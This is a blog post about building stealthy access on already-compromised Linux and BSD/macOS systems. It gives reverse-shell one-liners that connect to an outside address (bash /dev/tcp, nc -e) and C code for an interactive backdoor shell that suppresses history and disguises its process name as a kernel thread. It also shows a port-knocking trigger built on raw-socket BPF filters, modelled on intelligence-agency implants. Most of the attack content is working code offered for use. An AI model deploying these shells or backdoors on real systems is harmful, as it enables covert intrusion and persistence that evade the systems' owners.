Loading [MathJax]/extensions/tex2jax.js

Friday, April 4, 2025

Interactive shells and port-knocking

One of the first steps when the system is already compromised is to access the shell on the target. Hackers typically use the same one-liners to connect to the system:

bash -i >& /dev/tcp/1.2.3.4/8080 0>&1 # or
nc -e /bin/sh 1.2.3.4 8080

A dumb shell has many drawbacks – lost sessions continue to appear in the process list, you can’t edit a mistakenly typed command, if it's unset HISTFILE, all the hacker activities will remain in the history, and later on, it will have to be cleaned, from the same basic shell, without the ability to launch a proper text editor. Classic tricks, such as turning the shell into an interactive one, help to some extent:

python -c 'import pty; pty.spawn("/bin/bash")'

Or using utilities like socat. A cool method was suggested by Phineas Fisher – to spawn a shell via netcat, move it to the background (Ctrl-Z), switch the terminal to raw mode with stty raw -echo, and then return to the shell with fg. However, there’s still a risk of making mistakes. Why not write a full-fledged shell of your own? What happens when we call pty.spawn() and stty?

static void target(int sock)
{
        pid_t pid;
        int master = -1;
        
        if ((pid = forkpty(&master, NULL, NULL, NULL)) == -1)
                return;

        if (pid == 0) {
                char *env[] = {
                        "HISTFILE=/dev/null",
                        "TERM=xterm-color",
                        NULL
                };
                execle("/bin/sh", "[ksmd]", "-i", NULL, env);
                exit(0);
        }

        /* read console params from client or use hardcoded values */
        /* set winsize */
        struct winsize tty_winsize;
        tty_winsize.ws_row = ROWS;
        tty_winsize.ws_col = COLS;
        ioctl(master, TIOCSWINSZ, &tty_winsize);
        
        /* select_tut(2) to shor-circuit fds */
        pass(sock, master, master);

        close(master);
}

static void console(int sock)
{
        /* you can get window size with TIOCGWINSZ on stdin */
		/* and communicate it to target */

        /* save termios */
        struct termios saved, current;
        tcgetattr(STDIN_FILENO, &saved);
        memcpy(&current, &saved, sizeof(struct termios));

        /* set terminal */
        current.c_lflag &= ~(ECHO|ICANON|IEXTEN|ISIG);
        current.c_iflag &= ~(BRKINT|ICRNL|INPCK|ISTRIP|IXON);
        current.c_cflag &= ~(CSIZE|PARENB);
        current.c_cflag |= CS8;
        current.c_oflag &= ~(OPOST);
        current.c_cc[VMIN] = 1;
        current.c_cc[VTIME] = 0;
        tcsetattr(STDIN_FILENO, TCSANOW, &current);

        pass(sock, STDIN_FILENO, STDOUT_FILENO);

        /* restore terminal */
        tcsetattr(STDIN_FILENO, TCSANOW, &saved);
}

Not that difficult, right? And even if forkpty() would fail, you can still spawn a non-interactive shell by calling close() and dup2(sock, fd) on the standard input/output, and somehow notify the client about it.

In the case of a reverse shell, everything is clear – it is spawned on demand, but if a bind-shell is needed, it would be nice to somehow protect it from other hackers. Of course, you could add authentication, create your own protocol, but a nice option is port-knocking, invented in 2000. First, the client sends a "magic packet," and only then does the server open the port for incoming connections.

The backdoors used by the CIA and NSA (Hive and DewDrop) use exactly this method. Hive simply listens on a raw socket for all incoming packets, which can be quite overwhelming, while DewDrop attaches a BPF filter to the socket. The only problem is that in order to do this, it depends on libpcap. Not good.

On Linux you can set the filter with two lines:

        if ((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
                perror("socket");
                return 2;
        }
        if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf)) < 0) {
                perror("setsockopt");
                return 2;
        }

And generate the filter code with the tcpdump command. My favorite condition is that the product of the first two words in the UDP packet equals one:

# tcpdump 'udp && udp[8:4] * udp[12:4] == 1' -dd
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 13, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 11, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x40, 0, 0, 0x00000016 },
{ 0x2, 0, 0, 0x00000001 },
{ 0x40, 0, 0, 0x0000001a },
{ 0x7, 0, 0, 0x00000003 },
{ 0x60, 0, 0, 0x00000001 },
{ 0x2c, 0, 0, 0x00000000 },
{ 0x15, 0, 1, 0x00000001 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },

For FreeBSD and Darwin, it's a bit more complicated, but not by much:

        struct ifreq ifr;
        char *iface = "en0";
        bzero(&ifr, sizeof(ifr));
        strcpy(ifr.ifr_name, iface);
        for (int i = 0; i < 16; i++) {
                char dev[16];
                sprintf(dev, "/dev/bpf%d", i);
                if ((fd = open(dev, O_RDWR)) >= 0) {
                        printf("BPF dev is %s\n", dev);
                        break;
                }
        }
        if (ioctl(fd, BIOCSETIF, &ifr) < 0) {
                fprintf(stderr, "Failed to bind to iface\n");
                return -1;
        }
        if (ioctl(fd, BIOCSETF, &bpf) < 0) {
                fprintf(stderr, "Failed to set filter\n");
                return -1;
        }
        uint32_t enable = 1;
        /* Set header complete mode */
        if (ioctl(fd, BIOCSHDRCMPLT, &enable) < 0) {
                fprintf(stderr, "BIOCSHDRCMPLT\n");
                return -1;
        }
        /* Monitor packets sent from our interface */
        if(ioctl(fd, BIOCSSEESENT, &enable) < 0) {
                fprintf(stderr, "BIOCSSEESENT\n");
                return -1;
        }
        /* Return immediately when a packet received */
        if (ioctl(fd, BIOCIMMEDIATE, &enable) < 0) {
                fprintf(stderr, "BIOCIMMEDIATE\n");
                return -1;
        }
        unsigned char buf[4096];
        while (read(fd, buf, sizeof(buf))) {
                unsigned char *pkt = buf;
#ifdef  __APPLE__
                struct bpf_hdr *bh = (void*)buf;
                pkt += bh->bh_hdrlen;
#endif
                /* check packet and start shell */
        }

The data structures that store the filter code are the same (although the code itself may differ slightly between systems)


struct bpfi {
        uint16_t        code;
        uint8_t         jt;
        uint8_t         jf;
        uint32_t        k;
} insns[] = {
{ 0x28, 0, 0, 0x0000000c },
// ..........
};

struct bpf {
        unsigned short len;
        void *filter;
} bpf = { sizeof(insns) / sizeof(struct bpfi), insns };

After that, it's enough to read packets from the socket using the read() function. Happy hacking! I hope explaining how to send a UDP packet with the required marker isn’t necessary? It’s not rocket science, or...

3 comments: